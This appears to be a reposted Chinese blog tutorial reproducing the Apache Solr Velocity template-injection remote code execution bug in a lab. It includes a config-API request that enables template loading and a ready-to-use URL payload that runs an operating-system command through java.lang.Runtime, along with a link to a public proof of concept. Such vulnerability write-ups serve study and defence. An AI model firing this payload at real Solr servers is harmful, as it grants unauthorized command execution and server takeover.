Apache Solr velocity模板注入RCE漏洞的示例分析

发布时间 - 2023-05-19 00:00:00    点击率:

0x01简介

Solr是一款企业级的独立搜索应用服务器,可以通过Web服务API接口向外提供服务。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

0x02漏洞介绍

Solr中存在VelocityResponseWriter组件,攻击者可以构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,进而导致Velocity模版注入远程命令执行漏洞,攻击者利用该漏洞可以直接获取到服务器权限。

0x03影响范围

Apache Solr 5.x - 8.2.0,存在config API版本

0x04环境搭建

安装java8环境,然后下载Solr,下载地址:

https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip

下载完成后解压然后进入bin目录执行./solr start

unzip solr-8.2.0.zip

 

启动会出现一些警告信息,我们可以通过修改bin下的solr.in.sh文件来进行消除,将SOLR_ULIMIT_CHECKS设置为false

vim solr.in.sh

 

然后再次进行启动 ./solr start  root启动失败的话在后面加上加上-force即可

在浏览器访问http://ip:8983,出现以下界面表示安装成功

但是发现不能创建core

我们先手动在/server/solr/目录下创建一个new_core的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到new_core目录下,之后再点创建

0x05漏洞复现

创建好Core后访问查看该应用config文件是否可以访问

http://ip:8983/solr/new_core/config

Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改整合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。

使用Burp抓取本页面的包,直接构造POST请求,加入以下数据

{

  "update-queryresponsewriter": {

    "startup": "lazy",

    "name": "velocity",

    "class": "solr.VelocityResponseWriter",

    "template.base.dir": "",

    "solr.resource.loader.enabled": "true",

    "params.resource.loader.enabled": "true"

  }

}

 

接下来我们就可以构造payload来实现RCE

payload:

http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

 

 POC地址:https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

0x06修复方式

更新到最新版本


# 可以通过  # 设置为  # 来实现  # 就可以  # 目录下  # 下载地址  # 将其  # 我们可以  # 可以直接  # 在后面 


相关栏目: 【 网站优化151355 】 【 网络推广146373 】 【 网络技术251813 】 【 AI营销90571


相关推荐: Laravel如何使用查询构建器?(Query Builder高级用法)  潮流网站制作头像软件下载,适合母子的网名有哪些?  悟空识字如何进行跟读录音_悟空识字开启麦克风权限与录音  Python文件流缓冲机制_IO性能解析【教程】  Win11怎样安装网易有道词典_Win11安装词典教程【步骤】  Laravel Pest测试框架怎么用_从PHPUnit转向Pest的Laravel测试教程  Android GridView 滑动条设置一直显示状态(推荐)  Laravel如何处理跨站请求伪造(CSRF)保护_Laravel表单安全机制与令牌校验  关于BootStrap modal 在IOS9中不能弹出的解决方法(IOS 9 bootstrap modal ios 9 noticework)  Laravel如何使用Scope本地作用域_Laravel模型常用查询逻辑封装技巧【手册】  laravel怎么使用数据库工厂(Factory)生成带有关联模型的数据_laravel Factory生成关联数据方法  ai格式如何转html_将AI设计稿转换为HTML页面流程【页面】  Laravel如何实现本地化和多语言支持_Laravel多语言配置与翻译文件管理  详解vue.js组件化开发实践  昵图网官网入口 昵图网素材平台官方入口  Laravel如何生成PDF或Excel文件_Laravel文档导出工具与使用教程  广州网站制作公司哪家好一点,广州欧莱雅百库网络科技有限公司官网?  Laravel如何集成Inertia.js与Vue/React?(安装配置)  网页制作模板网站推荐,网页设计海报之类的素材哪里好?  Python结构化数据采集_字段抽取解析【教程】  在线ppt制作网站有哪些软件,如何把网页的内容做成ppt?  如何在阿里云虚拟机上搭建网站?步骤解析与避坑指南  Android中AutoCompleteTextView自动提示  java中使用zxing批量生成二维码立牌  Laravel如何理解并使用服务容器(Service Container)_Laravel依赖注入与容器绑定说明  Laravel Debugbar怎么安装_Laravel调试工具栏配置指南  Laravel Facade的原理是什么_深入理解Laravel门面及其工作机制  Laravel如何使用模型观察者?(Observer代码示例)  Win11怎么关闭专注助手 Win11关闭免打扰模式设置【操作】  Python并发异常传播_错误处理解析【教程】  魔毅自助建站系统:模板定制与SEO优化一键生成指南  HTML透明颜色代码怎么让图片透明_给img元素加透明色的技巧【方法】  如何用腾讯建站主机快速创建免费网站?  详解MySQL数据库的安装与密码配置  🚀拖拽式CMS建站能否实现高效与个性化并存?  如何选择PHP开源工具快速搭建网站?  北京的网站制作公司有哪些,哪个视频网站最好?  JavaScript中如何操作剪贴板_ClipboardAPI怎么用  Laravel怎么实现搜索功能_Laravel使用Eloquent实现模糊查询与多条件搜索【实例】  Laravel定时任务怎么设置_Laravel Crontab调度器配置  如何在阿里云服务器自主搭建网站?  Laravel Artisan命令怎么自定义_创建自己的Laravel命令行工具完全指南  Thinkphp 中 distinct 的用法解析  Laravel怎么生成二维码图片_Laravel集成Simple-QrCode扩展包与参数设置【实战】  Laravel用户认证怎么做_Laravel Breeze脚手架快速实现登录注册功能  香港服务器租用费用高吗?如何避免常见误区?  如何在云指建站中生成FTP站点?  详解jQuery停止动画——stop()方法的使用  Edge浏览器提示“由你的组织管理”怎么解决_去除浏览器托管提示【修复】  VIVO手机上del键无效OnKeyListener不响应的原因及解决方法